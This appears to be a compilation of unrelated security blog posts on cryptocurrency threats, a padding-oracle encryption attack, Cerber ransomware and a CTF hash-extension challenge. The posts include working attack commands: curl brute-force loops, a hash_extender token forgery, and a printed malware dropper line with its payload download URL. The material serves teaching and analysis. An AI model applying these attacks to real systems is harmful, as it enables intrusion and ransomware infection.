Because of the public sector’s wait-and-see approach to regulation, it could be argued that the private sector should have a more active role in securing the technology as it continues to mature. Private sector leaders in software and network development, hardware manufacturing, and cyber security all have the ability to weigh in on blockchain development as it progresses to ensure user security and privacy are top priorities. Universities and independent research groups should continue to study this emerging technology as it develops.

While no widely promoted and formal security standards exist for cryptocurrency networks at the time of this post, The Cryptocurrency Certification Consortium (C4) is actively developing the Cryptocurrency Security Standard (CCSS), a set of requirements and framework to complement existing information security standards as it relates to cryptocurrencies, including exchanges, web applications, and cryptocurrency storage solutions.

Cyber Security Community

From a cyber security perspective, we should learn from the vulnerabilities of TCP/IP development in the early days of the internet, which focused more on usability and scale than security and privacy – and insist that if blockchain technology is to help revolutionize the way business and trade is conducted that those two areas of focus (security and privacy) are held at the forefront of blockchain innovation and adoption. This can be achieved through certain self-imposed (and universally agreed upon) industry standards, including:

  • Forced encryption of locally stored wallet files (instead of opt-in options).
  • Code or policy rule that requires new wallet and key generation when user performs password changes.
  • Continued development and security hardening of multi-sig wallet solutions.
  • Emphasis on and clear guidelines for responsible bug disclosure.
  • Continued security research and public reporting on security implications of both known and hypothetical vulnerabilities regarding blockchain development.
    • Analyzing protocols and implementations to determine what threats they face, and providing guidance on best practices.

Outlook

While blockchain technology offers the promise of enhanced security, it also presents its own challenges. Greater responsibility for security is often put into the hands of the individual user, and while some of the security challenges facing exchanges and online wallet providers can be addressed through existing best practices in cyber security, linking multiple users, software solutions, and integration into complex legacy financial systems creates several new cyber security paradigms.

To maintain strong network security, the roles and responsibilities of each type of participant in a blockchain network must be clearly defined and enforced, and the cyber security risks posed by each type of participant must be identified and managed. It is also critical that blockchain development teams understand the full range of potential threats that arise from interoperating with third parties and layering protocols and applications atop the base protocols.

The value and popularity of cryptocurrencies has grown significantly in the recent years, making these types of currencies a very attractive target for financially motivated actors. Many of the aforementioned examples of the various attack vectors can be of high utility in financially motivated operations. We expect cyber crime actors will continue to demonstrate high interest in targeting cryptocurrencies and their underlying network protocols for the foreseeable future.

Ethereum holders suspect Cryptopia exchange faked breach in exit scam

A cryptocurrency exchange in New Zealand is suspected of having performed an exit scam after bluntly announcing an immediate halt due to an alleged hack.

The first signs of trouble emerged on the afternoon of January 14, when Cryptopia announced on its Twitter page that the exchange was going through unscheduled maintenance.

“We are currently experiencing an unscheduled maintenance, we are working to resume services as soon as possible. We will keep you updated,” the exchange said.

The exchange later announced it was hacked, generating an immediate wave of speculation (mostly from its own customers) that it was, in fact, an exit scam. The fears wouldn’t be entirely unfounded, given the numerous precedents involving other exchanges and the lack of details about the situation. The full notice is here:

As reported by blockt.com, some users claim their Ethereum wallets were drained right before the shutdown.

Cryptopia has not disclosed the amount of digital currency stolen, nor if it will use its own funds (if any remain) to reimburse customers affected by the hack. We’ll update this story with any new developments.

Ep. 111 – Crypto AI Blockchain Smoothies at Walmart with Nick Furneaux

What does crypto currency, blockchain, artificial intelligence and Walmart smoothies have to do with social engineering?  Join us this month as Nick Furneaux lets us know. Nov 12, 2018

Contents

Download

Ep. 111 – Crypto AI Blockchain Smoothies at Walmart with Nick Furneaux

Miro Video Player

Get Involved

Got a great idea for an upcoming podcast? Send us a quick message on the contact form!

Enjoy the Outtro Music? Thanks to Clutch for allowing us to use Son of Virginia as our new SEPodcast Theme Music

And check out a schedule for all our training at Social-Engineer.Com

Check out the Innocent Lives Foundation to help unmask online child predators.

The post Ep. 111 – Crypto AI Blockchain Smoothies at Walmart with Nick Furneaux appeared first on Security Through Education.

Spam campaign targets Exodus Mac Users

We’ve seen a small spam campaign that attempts to target Mac users that use Exodus, a multi-cryptocurrency wallet.

The theme of the email focuses mainly on Exodus. The attachment was “Exodus-MacOS-1.64.1-update.zip” and the sender domain was “update-exodus[.]io”, suggesting that it wanted to associate itself to the organization. It was trying to deliver a fake Exodus update by using the subject “Update 1.64.1 Release – New Assets and more”. Whereas, the latest released version for Exodus is 1.63.1.

Fake Exodus Update email

Extracting the attached archive leads to the application which was apparently created yesterday.

Spytool’s creation date

The application contains a mach-O binary with the filename “rtcfg”. The legitimate Exodus application, however, uses “Exodus”.

We checked out the strings and found a bunch of references to “realtime-spy-mac[.]com” website.

From the website, the developer described their software as a cloud-based surveillance and remote spy tool. Their standard offering costs $79.95 and comes with a cloud-based account where users can view the images and data that the tool uploaded from the target machine. The strings that was extracted from the Mac binary from the mail spam coincides with the features mentioned in the realtime-spy-mac[.]com tool.

Strings inside the Realtime-Spy tool

Searching for similar instances of the Mac keylogger in our repository yielded to other samples using these filenames:

  • taxviewer.app
  • picupdater.app
  • macbook.app
  • launchpad.app

Based on the spy tool’s website, it appears that it does not only support Mac, but Windows as well. It’s not the first time that we’ve seen Windows threats target Mac. As the crimeware threat actors in Windows take advantage of the cryptocurrency trend, they too seem to want to expand their reach, thus also ended up targeting Mac users.

Indicators of Compromise

SHA1:

  • b6f5a15d189f4f30d502f6e2a08ab61ad1377f6a – rtcfg
  • 3095c0450871f4e1d14f6b1ccaa9ce7c2eaf79d5 – Exodus-MacOS-1.64.1-update.zip
  • 04b9bae4cc2dbaedc9c73c8c93c5fafdc98983aa – picupdater.app.zip
  • c22e5bdcb5bf018c544325beaa7d312190be1030 – taxviewer.app.zip
  • d3150c6564cb134f362b48cee607a5d32a73da66 – launchpad.app.zip
  • bf54f81d7406a7cfe080b42b06b0a6892fcd2f37 – macbook.app.zip

Detection:

  • Monitor:OSX/Realtimespy.b6f5a15d18!Online

Domain:

  • realtime-spy-mac[.]com
  • update-exodus[.]io

 

Fake Flash updates upgrade software, but install crypto-mining malware

According to cybersecurity firm Palo Alto Networks, it discovered a fake Flash updater that has been duping conscientious computer users since August. The fake updater installs files to sneak a cryptocurrency mining bot called XMRig, which mines for Monero.

But here's the catch, while the fake updater is installing the XMRig malware, it's also updating the user's Flash.

Via: The Next Web

Source: Palo Alto Networks

Going the other way with padding oracles: Encrypting arbitrary data!

A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher.

When I wrote that blog and the Poracle tool originally, I didn't actually know how to encrypt arbitrary data using a padding oracle. I was vaguely aware that it was possible, but I hadn't really thought about it. But recently, I decided to figure out how it works. I thought and thought, and finally came up with this technique that seems to work. I also implemented it in Poracle in commit a5cfad76ad.

Although I technically invented this technique myself, it's undoubtedly the same technique that any other tools / papers use. If there's a better way - especially on dealing with the first block - I'd love to hear it!

Anyway, in this post, we'll talk about a situation where you have a padding oracle vulnerability, and you want to encrypt arbitrary data instead of decrypting their data. It might, for example, be a cookie that contains a filename for your profile data. If you change the encrypted data in a cookie to an important file on the filesystem, suddenly you have arbitrary file read!

The math

If you aren't familiar with block ciphers, how they're padded, how XOR (⊕) works, or how CBC chaining works, please read my previous post. I'm going to assume you're familiar with all of the above!

We'll define our variables more or less the same as last time:

  Let P   = the plaintext, and Pn = the plaintext of block n (where n is in
            the range of 1..N). We select this.
  Let C   = the corresponding ciphertext, and Cn = the ciphertext
            of block n (the first block being 1) - our goal is to calculate this
  Let N   = the number of blocks (P and C have the same number of blocks by
            definition). PN is the last plaintext block, and CN is
            the last ciphertext block.
  Let IV  = the initialization vector — a random string — frequently
            (incorrectly) set to all zeroes. We'll mostly call this C0 in this
            post for simplicity (see below for an explanation).
  Let E() = a single-block encryption operation (any block encryption
            algorithm, such as AES or DES, it doesn't matter which), with some
            unique and unknown (to the attacker) secret key (that we don't
            notate here).
  Let D() = the corresponding decryption operation.

And the math for encryption:

  C1 = E(P1 ⊕ IV)
  Cn = E(Pn ⊕ Cn-1) — for all n > 1

And, of course, decryption:

  P1 = D(C1) ⊕ IV
  Pn = D(Cn) ⊕ Cn-1 - for all n > 1

Notice that if you define the IV as C0, both formulas could be simplified to just a single line.

The attack

Like decryption, we divide the string into blocks, and attack one block at a time.

We start by taking our desired string, P, and adding the proper padding to it, so when it's decrypted, the padding is correct. If there are n bytes required to pad the string to a multiple of the block length, then the byte n is added n times.

For example, if the string is hello world! and the blocksize is 16, we have to add 4 bytes, so the string becomes hello world!\x04\x04\x04\x04. If the string is an exact multiple of the block length, we add a block afterwards with nothing but padding (so this is a test!!, because it's 16 bytes, becomes this is a test!!\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10, for example (assume the blocksize is 16, which will will throughout).

Once we have a string, P, we need to generate the ciphertext, C from it. And here's how that happens...

Overview

After writing everything below, I realized that it's a bit hard to follow. Math, etc. So I'm going to start by summarizing the steps before diving more deeply into all the details. Good luck!

To encrypt arbitrary text with a padding oracle...

  • Select a string, P, that you want to generate ciphertext, C, for
  • Pad the string to be a multiple of the blocksize, using appropriate padding, then split it into blocks numbered from 1 to N
  • Generate a block of random data (CN - ultimately, the final block of ciphertext)
  • For each block of plaintext, starting with the last one...
    • Create a two-block string of ciphertext, C', by combining an empty block (00000...) with the most recently generated ciphertext block (Cn+1) (or the random one if it's the first round)
    • Change the last byte of the empty block until the padding errors go away, then use math (see below for way more detail) to set the last byte to 2 and change the second-last byte till it works. Then change the last two bytes to 3 and figure out the third-last, fourth-last, etc.
    • After determining the full block, XOR it with the plaintext block Pn to create Cn
    • Repeat the above process for each block (prepend an empty block to the new ciphertext block, calculate it, etc)

To put that in English: each block of ciphertext decrypts to an unknown value, then is XOR'd with the previous block of ciphertext. By carefully selecting the previous block, we can control what the next block decrypts to. Even if the next block decrypts to a bunch of garbage, it's still being XOR'd to a value that we control, and can therefore be set to anything we want.

A quick note about the IV

In CBC mode, the IV - initialization vector - sort of acts as a ciphertext block that comes before the first block in terms of XOR'ing. Sort of an elusive "zeroeth" block, it's not actually decrypted; instead, it's XOR'd against the first real block after decrypting to create P1. Because it's used to set P1, it's calculated exactly the same as every other block we're going to talk about, except the final block, CN, which is random.

If we don't have control of the IV - which is pretty common - then we can't control the first block of plaintext, P1, in any meaningful way. We can still calculate the full plaintext we want, it's just going to have a block of garbage before it.

Throughout this post, just think of the IV another block of ciphertext; we'll even call it C0 from time to time. C0 is used to generate P1 (and there's no such thing as P0).

Generate a fake block

The "last" block of ciphertext, CN, is generated first. Normally you'd just pick a random blocksize-length string and move on. But you can also have some fun with it! The rest of this section is just a little playing, and is totally tangential to the point; feel free to skip to the next section if you just want the meat.

So yeah, interesting tangential fact: the final ciphertext block, CN can be any arbitrary string of blocksize bytes. All 'A's? No problem. A message to somebody? No problem. By default, Poracle simply randomizes it. I assume other tools do as well. But it's interesting that we can generate arbitrary plaintext!

Let's have some fun:

  • Algorithm = "AES-256-CBC"
  • Key = c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1
  • IV = 78228d4760a3675aa08d47694f88f639
  • Ciphertext = "IS THIS SECRET??"

The ciphertext is ASCII!? Is that even possible?? It is! Let's try to decrypt it:

  2.3.0 :001 > require 'openssl'
   => true

  2.3.0 :002 > c = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
   => #<OpenSSL::Cipher::Cipher:0x00000001de2578>

  2.3.0 :003 > c.decrypt
   => #<OpenSSL::Cipher::Cipher:0x00000001de2578>

  2.3.0 :004 > c.key = ['c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1'].pack('H*')
   => "\xC0\x86\xE0\x8A\xD8\xEE\x0E\xBE|# \t\x9C\xFE\xC9\xEE\xA9\xA3F\xA1\bW\nOd\x94\xCF\xE7\xC2\xA3\x0E\xE1" 

  2.3.0 :005 > c.iv = ['78228d4760a3675aa08d47694f88f639'].pack('H*')
   => "x\"\x8DG`\xA3gZ\xA0\x8DGiO\x88\xF69" 

  2.3.0 :006 > c.update("IS THIS SECRET??") + c.final()
   => "NO, NOT SECRET!" 

It's ciphertext that looks like ASCII ("IS THIS SECRET??") that decrypts to more ASCII ("NO, NOT SECRET!"). How's that even work!?

We'll see shortly why this works, but fundamentally: we can arbitrarily choose the last block (I chose ASCII) for padding-oracle-based encryption. The previous blocks - in this case, the IV - is what we actually have to determine. Change that IV, and this won't work anymore.

Calculate a block of ciphertext

Okay, we've created the last block of ciphertext, CN. Now we want to create the second-last block, CN-1. This is where it starts to get complicated. If you can follow this sub-section, everything else is easy! :)

Let's start by making a new ciphertext string, C'. Just like in decrypting, C' is a custom-generated ciphertext string that we're going to send to the oracle. It's made up of two blocks:

  • C'1 is the block we're trying to determine; we set it to all zeroes for now (though the value doesn't actually matter)
  • C'2 is the previously generated block of ciphertext (on the first round, it's CN, the block we randomly generated; on ensuing rounds, it's Cn+1 - the block after the one we're trying to crack).

I know that's confusing, but let's push forward and look at how we generate a C' block and it should all become clear.

Imagine the string:

  C' = 00000000000000000000000000000000 || CN
                ^^^ CN-1 ^^^               

Keep in mind that CN is randomly chosen. We don't know - and can't know - what C'2 decrypts to, but we'll call it P'2. We do know something, though - after it's decrypted to something, it's XOR'd with the previous block of ciphertext (C'1), which we control. Then the padding's checked. Whether or not the padding is correct or incorrect depends wholly on C'1! That means by carefully adjusting C'1, we can find a string that generates correct padding for P'2.

Because the only things that influence P'2 are the encryption function, E(), and the previous ciphertext block, C'1, we can set it to anything we want without ever seeing it! And once we find a value for C' that decrypts to the P'2 we want, we have everything we need to create a CN-1 that generates the PN we want!

So we create a string like this:

  00000000000000000000000000000000 41414141414141414141414141414141
        ^^^ C'1 / CN-1 ^^^                  ^^^ C'2 / CN ^^^

The block of zeroes is the block we're trying to figure out (it's going to be CN-1), and the block of 41's is the block of arbitrary/random data (CN).

We send that to the server, for example, like this (this is on Poracle's RemoteTestServer.rb app, with a random key and blank IV - you should be able to just download and run the server, though you might have to run gem install sinatra):

  • http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141

We're almost certainly going to get a padding error returned, just like in decryption (there's a 1/256 chance it's going to be right). So we change the last byte of block C'1 until we stop getting padding errors:

  • http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
  • http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
  • http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
  • http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
  • ...

And eventually, you'll get a success:

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x41414141414141414141414141414141" $i`
echo $URL
curl "$URL"
echo ''
done

http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000641414141414141414141414141414141
Success!
http://localhost:20222/decrypt/0000000000000000000000000000000741414141414141414141414141414141
Fail!
...

We actually found the valid encoding really early this time! When C'1 ends with 06, the last byte of P'2, decrypts to 01. That means if we want the last byte of the generated plaintext (P'2) to be 02, we simply have to XOR the value by 01 (to set it to 00), then by 02 (to set it to 02). 06 ⊕ 01 ⊕ 02 = 05. Therefore, if we set the last byte of C'1 to 05, we know that the last byte of P'2 will be 02, and we can start bruteforcing the second-last byte:

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/0000000000000000000000000000%02x0541414141414141414141414141414141" $i`
echo $URL
curl "$URL"
echo ''
done

http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000010541414141414141414141414141414141
Fail!
...
http://localhost:20222/decrypt/0000000000000000000000000000350541414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000360541414141414141414141414141414141
Success!
...

So now we know that when C'N-1 ends with 3605, P'2 ends with 0202. We'll go one more step: if we change C'1 such that P'2 ends with 0303, we can start working on the third-last character in C'1. 36 ⊕ 02 ⊕ 03 = 37, and 05 ⊕ 02 ⊕ 03 = 04 (we XOR by 2 to set the values to 0, then by 3 to set it to 3):

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/00000000000000000000000000%02x370441414141414141414141414141414141" $i`
echo $URL
curl "$URL"
echo ''
done

...
http://localhost:20222/decrypt/000000000000000000000000006b370441414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/000000000000000000000000006c370441414141414141414141414141414141
Success!
...

So now, when C'1 ends with 6c3704, P'2 ends with 030303.

We can go on and on, but I automated it using Poracle and determined that the final value for C'1 that works is 12435417b15e3d7552810313da7f2417

$ curl 'http://localhost:20222/decrypt/12435417b15e3d7552810313da7f241741414141414141414141414141414141'
Success!

That means that when C'1 is 12435417b15e3d7552810313da7f2417, P'2 is 10101010101010101010101010101010 (a full block of padding).

We can once again use XOR to remove 101010... from C'1, giving us: 02534407a14e2d6542911303ca6f3407. That means that when C'1 equals 02534407a14e2d6542911303ca6f3407), P'2 is 00000000000000000000000000000000. Now we can XOR it with whatever we want to set it to an arbitrary value!

Let's say we want the last block to decrypt to 0102030405060708090a0b0c0d0e0f (15 bytes). We:

  • Add one byte of padding: 0102030405060708090a0b0c0d0e0f01
  • XOR C'1 (02534407a14e2d6542911303ca6f3407) with 0102030405060708090a0b0c0d0e0f01 => 03514703a4482a6d4b9b180fc7613b06
  • Append the final block, CN, to create C: 03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141
  • Send it to the server to be decrypted...
$ curl 'http://localhost:20222/decrypt/03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141'
Success

And, if you actually calculate it with the key I'm using, the final plaintext string P' is c49f1fdcd1cd93daf4e79a18637c98d80102030405060708090a0b0c0d0e0f.

(The block of garbage is a result of being unable to control the IV)

Calculating the next block of ciphertext

So now, where have we gotten ourselves?

We have values for CN-1 (calculated) and CN (arbitrarily chosen). How do we calculate CN-2?

This is actually pretty easy. We generate ourselves a two-block string again, C'. Once again, C'1 is what we're trying to bruteforce, and is normally set to all 00's. But this time, C'2 is CN-1 - the ciphertext we just generated.

Let's take a new C' of:

000000000000000000000000000000000 3514703a4482a6d4b9b180fc7613b06
        ^^^ C'1 / CN-2 ^^^                 ^^^ C'2 / CN-1 ^^^

We can once again determine the last byte of C'1 that will cause the last character of P'2 to be valid padding (01):

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x3514703a4482a6d4b9b180fc7613b06" $i`
echo $URL
curl "$URL"
echo ''
done
...
http://localhost:20222/decrypt/000000000000000000000000000000313514703a4482a6d4b9b180fc7613b06
Fail!
http://localhost:20222/decrypt/000000000000000000000000000000323514703a4482a6d4b9b180fc7613b06
Fail!
http://localhost:20222/decrypt/000000000000000000000000000000333514703a4482a6d4b9b180fc7613b06
Success!
...

...and so on, just like before. When this block is done, move on to the previous, and previous, and so on, till you get to the first block of P. By then, you've determined all the values for C1 up to CN-1, and you have your specially generated CN with whatever value you want. Thus, you have the whole string!

So to put it in another way, we calculate:

  • CN = random / arbitrary
  • CN-1 = calculated from CN combined with PN
  • CN-2 = calculated from CN-1 combined with PN-1
  • CN-3 = calculated from CN-2 combined with PN-2
  • ...
  • C1 = calculated from C2 combined with P2
  • C0 (the IV) = calculated from C1 combined with P1

So as you can see, each block is based on the next ciphertext block and the next plaintext block.

Conclusion

Well, that's about all I can say about using a padding oracle vulnerability to encrypt arbitrary data.

If anything is unclear, please let me know! And, you can see a working implementation in Poracle.rb.

A Look at the Cerber Office 365 Ransomware

Reports of a Zero-day attack affecting numerous Office 365 users emerged late last month (hat tip to the researchers at Avanan), and the culprit was a new variant of the Cerber ransomware discovered earlier this year. As with the other Zero-day threats that have been popping-up like mushrooms of late, the main methods of infection is through the use of Office macros.

This blog provides an analysis on the Cerber variant using traditional reverse-engineering and ThreatTrack’s newest version of our malware analysis sandbox, ThreatAnalyzer 6.1.

Analyzing Cerber

Reverse engineering in general, more often than not, requires that one gets a broad view as to what the target is doing. Whether you’re analyzing a malware sample or trying to figure what a function does from an obfuscated code, it is best to get the general “feel” of your target before narrowing down to the specifics.

ThreatAnalyzer is a sandbox that executes a program, file or URL in a controlled, monitored environment and provides a detailed report enabling the researcher or analyst to get a good look as to what the sample will do at run time. It is also worth noting that a sandbox is a good tool for generating Threat Intelligence to quickly get IOCs (Indicators of Compromise). The latest version of this sandbox, ThreatAnalyzer 6.1, has a built-in behavioral detection mechanism that enables users to see the general behavior of a sample and based on those particular set of behaviors, predict if the program in question is malicious or benign in nature.

Fig: ThreatAnalyzer’s unique behavior determination engine

Fig: ThreatAnalyzer’s unique behavior determination engine

 

Fig 1: ThreatAnalyzer 6.1 in action

Fig 1: ThreatAnalyzer 6.1 in action

Looking at the figure above, on the analysis screen, ThreatAnalyzer 6.1 has provided the following vital information on this particular sample:

  1. Determine that the sample is detected as malicious on 3 different fronts:
    1. ThreatIQ (our integrated threat intelligence server) observers the sample trying to beacon to blacklisted URLs
    2. The sample is detected by at least 1 or multiple antivirus engine(s)
    3. Based on the behavior that it performed, has a high probability that the sample is malicious
  2. Shows the researcher/user the changes in Registry, IO (File), Network attempts it made, and processes that it spawned
  3. Compacts all detailed information that it has gathered into a downloadable PDF or XML report. If a user chooses, he can download the archive which includes the detailed report, any significant files that was generated, screenshots of the windows spawned and a copy of the PCAP file if any network activities were logged

ThreatAnalyzer also provides a detailed report of the sample you analyzed in XML, JSON or PDF format. These reports contain the processes that were spawned, what files were modified, created or accessed, registries that were manipulated, objects that were created and any network connections that were made.

If we look further at the particular XML file of the sample we analyzed, we can gather the following activities:

  • Spawned WINWORD.EXE (normal since we fed a DOTM file), but the process tree shows that it spawned
    • Cmd.exe
    • Wscript.exe
  • Created a randomly named VBS file in %appdata%
    • %appdata%\15339.vbs
    • Cmd.exe /V /C set “GSI=%APPDATA%\%RANDOM%.vbs” (for %i in (“DIm RWRL” “FuNCtioN GNbiPp(Pt5SZ1)” “EYnt=45” “GNbiPp=AsC(Pt5SZ1)” “Xn1=52” “eNd fuNCtiON” “SUb OjrYyD9()”Seeded another cmd.exe calling the VBS file
  • Made an attempt to connect to
    • httx://solidaritedeproximite.org/mhtr.jpg
  • Made a randomly named .TMP in %appdata% and executed it
    • Hash: ee0828a4e4c195d97313bfc7d4b531f1

These are highly suspicious activities given that we were trying to analyze an Office document file. The behavior above cannot be classified as normal. So the next time you’re nervous on opening an attachment, even if it came from a person or organization you know, feed it to a sandbox like ThreatAnalyzer and have a look before running it on your production machine.

Good ol’ reverse engineering

Office 365 Enable Content

Office 365 Enable Content

Looking at how this ransomware was coded, it will not only infect Office 365 users but users of Office 2007 and above. The macro inside the Document_Open function will auto-execute once the malicious office attachment is opened. But this is also dependent on whether the macro settings is enabled or in earlier Office versions, security is set to low. And quite possibly in an attempt to slow down the analysis process and bypass traditional AV signatures, each iteration of this Cerber macro variant is obfuscated.

Auto-execution macro inside Cerber macro

Auto-execution macro inside Cerber macro

The macro will then proceed to the creation of a script located in %appdata%. The VBS is also obfuscated but luckily not encrypted. It is interesting to note a particular action that may or may not be an intended feature to bypass behavioral detection. It uses the Timer function to generate a random integer and compare it to a self-generated variable, all the while; this action will be the condition when code to download the cryptor component will ensue.

Using built in network features of VBS; it will attempt to connect to a remote server and attempt to download a particular file.

httx://solidaritedeproximite.org/mhtr.jpg

This may seem harmless as it is just a simple JPG file, right? Well, the VBS code also indicates that it will write whatever the contents of that file, save it to a .TMP in %appdata% and execute it. Although this technique has been used by other malware and dates back years ago, this seems interesting.

Download the file, save it, then Run

Download the file, save it, then Run

Md5 Hash: ee0828a4e4c195d97313bfc7d4b531f1

The downloaded file is the cryptor part of the Cerber ransomware. This program is the one responsible for scanning and encrypting target files on a victim’s system. The full analysis of this component will be discussed on a separate blog. It is interesting to note that the downloaded cerber executable will encrypt your files even in the absence of internet connection. The code inside the EXE indicates that it does not connect to a remote server (unlike the ones before it e.g. crytowall, locky, Teslacrypt, etc.) to encrypt the victim’s files.

Once a system is successfully infected it will display the following in the desktop.

And spawn an instance of your browser containing the message:

And play a sound “your documents, photos, databases, and other important files have been encrypted” in a robot voice.

Infection Summary

Flow of the Cerber attack scenario

Flow of the Cerber attack scenario

  1. A spear-phishing email that contains a malicious Office attachment arrives.
  2. If the user opens the email, executed the attachment AND the macro setting for Office is set to enabled, the macro will execute spawning another VBS script.
  3. The script will contact a remote server, downloads and execute the cryptor part of the Cerber ransomware.
  4. Proceeds on scanning and encrypting the user’s files.
  5. Displays a notice that your system has been infected by Cerber ransomware.

The post A Look at the Cerber Office 365 Ransomware appeared first on ThreatTrack Security Labs Blog.

GitS 2015: knockers.py (hash extension vulnerability)

As many of you know, last weekend was Ghost in the Shellcode 2015! There were plenty of fun challenges, and as always I had a great time competing! This will be my first of four writeups, and will be pretty simple (since it simply required me to use a tool that already exists (and that I wrote :) ))

The level was called "knockers". It's a simple python script that listens on an IPv6 UDP port and, if it gets an appropriately signed request, opens one or more other ports. The specific challenge gave you a signed token to open port 80, and challenged you to open up port 7175. The service itself listened on port 8008 ("BOOB", to go with the "knockers" name :) ).

You can download the original level here (Python).

The vulnerability

To track down the vulnerability, let's have a look at the signature algorithm:

def generate_token(h, k, *pl):
        m = struct.pack('!'+'H'*len(pl), *pl)
        mac = h(k+m).digest()
        return mac + m

In that function, h is a hash function (sha-512, specifically), k is a random 16-byte token, randomly generated, and m is an array of 16-bit representation of the ports that the user wishes to open. So if the user wanted to open port 1 and 2, they'd send "\x00\x01\x00\x02", along with the appropriate token (which the server administrator would have to create/send, see below).

Hmm... it's generating a mac-protected token and string by concatenating strings and hashing them? If you've followed my blog, this might sound very familiar! This is a pure hash extension vulnerability!

I'm not going to re-iterate what a hash extension vulnerability is in great detail—if you're interested, check out the blog I just linked—but the general idea is that if you generate a message in the form of msg + H(secret + msg), the user can arbitrarily extend the message and generate a new signature! That means if we have access to any port, we have access to every port!

Let's see how!

Generating a legit token

To use the python script linked above, first run 'setup':

$ python ./knockers.py setup
wrote new secret.txt

Which generates a new secret. The secret is just a 16-byte random string that's stored on the server. We don't really need to know what the secret is, but for the curious, if you want to follow along and verify your numbers against mine, it's:

$ cat secret.txt
2b396fb91a76307ce31ef7236e7fd3df

Now we use the tool (on the same host as the secret.txt file) to generate a token that allows access on port 80:

$ python ./knockers.py newtoken 80
83a98996f0acb4ad74708447b303c081c86d0dc26822f4014abbf4adcbc4d009fbd8397aad82618a6d45de8d944d384542072d7a0f0cdb76b51e512d88de3eb20050

Notice the first 512 bits (64 bytes) is the signature—which is logical, since it's sha512—and the last 16 bits (2 bytes) are 0050, which is the hex representation of 80. We'll split those apart later, when we run hash_extender, but for now let's make sure the token actually works first!

We start the server:

$ python ./knockers.py serve

And in another window, or on another host if you prefer, send the generated token:

$ python ./knockers.py knock localhost 83a98996f0acb4ad74708447b303c081c86d0dc26822f4014abbf4adcbc4d009fbd8397aad82618a6d45de8d944d384542072d7a0f0cdb76b51e512d88de3eb20050

In the original window, you'll see that it was successful:

$ python ./knockers.py serve
Client: ::1 len 66
allowing host ::1 on port 80

Now, let's figure out how to create a token for port 7175!

Generating an illegit (non-legit?) token

So this is actually the easiest part. It turns out that the awesome guy who wrote hash_extender (just kidding, he's not awesome) built in everything you needed for this attack!

Download and compile hash_extender if needed (definitely works on Linux, but I haven't tested on any other platforms—testers are welcome!), and run it with no arguments to get the help dump. You need to pass in the original data (that's "\x00\x80"), the data you want to append (7175 => "\x1c\x07"), the original signature, and the length of the secret (which is 16 bytes). You also need to pass in the types for each of the parameters ("hex") in case the defaults don't match (in this case, they don't—the appended data is assumed to be raw).

All said and done, here's the command:

./hash_extender --data-format hex --data 0050 \
  --signature-format hex --signature 83a98996f0acb4ad74708447b303c081c86d0dc26822f4014abbf4adcbc4d009fbd8397aad82618a6d45de8d944d384542072d7a0f0cdb76b51e512d88de3eb2 \
  --append "1c07" --append-format hex \
  -l 16

You can pass in the algorithm and the desired output format as well, if we don't, it'll just output in every 512-bit-sized hash type. The output defaults to hex, so we're happy with that.

$ ./hash_extender --data-format hex --data 0050 --signature-format hex --signature 83a98996f0acb4ad74708447b303c081c86d0dc26822f4014abbf4adcbc4d009fbd8397aad82618a6d45de8d944d384542072d7a0f0cdb76b51e512d88de3eb2 --append "1c07" --append-format hex -l 16
Type: sha512
Secret length: 16
New signature: 4bda887c0fc43636f39ff38be6d592c2830723197b93174b04d0115d28f0d5e4df650f7c48d64f7ca26ef94c3387f0ca3bf606184c4524600557c7de36f1d894
New string: 005080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000901c07

Type: whirlpool
Secret length: 16
New signature: f4440caa0da933ed497b3af8088cb78c49374853773435321c7f03730386513912fb7b165121c9d5fb0cb2b8a5958176c4abec35034c2041315bf064de26a659
New string: 0050800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000901c07

Ignoring the whirlpool token, since that's the wrong algorithm, we now have a new signature and a new string. We can just concatenate them together and use the built-in client to use them:

$ python ./knockers.py knock localhost 4bda887c0fc43636f39ff38be6d592c2830723197b93174b04d0115d28f0d5e4df650f7c48d64f7ca26ef94c3387f0ca3bf606184c4524600557c7de36f1d894005080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000901c07

And checking our server, we see a ton of output, including successfully opening port 7175:

$ python ./knockers.py serve
Client: ::1 len 66
allowing host ::1 on port 80
Client: ::1 len 178
allowing host ::1 on port 80
allowing host ::1 on port 32768
allowing host ::1 on port 0
allowing host ::1 on port 0
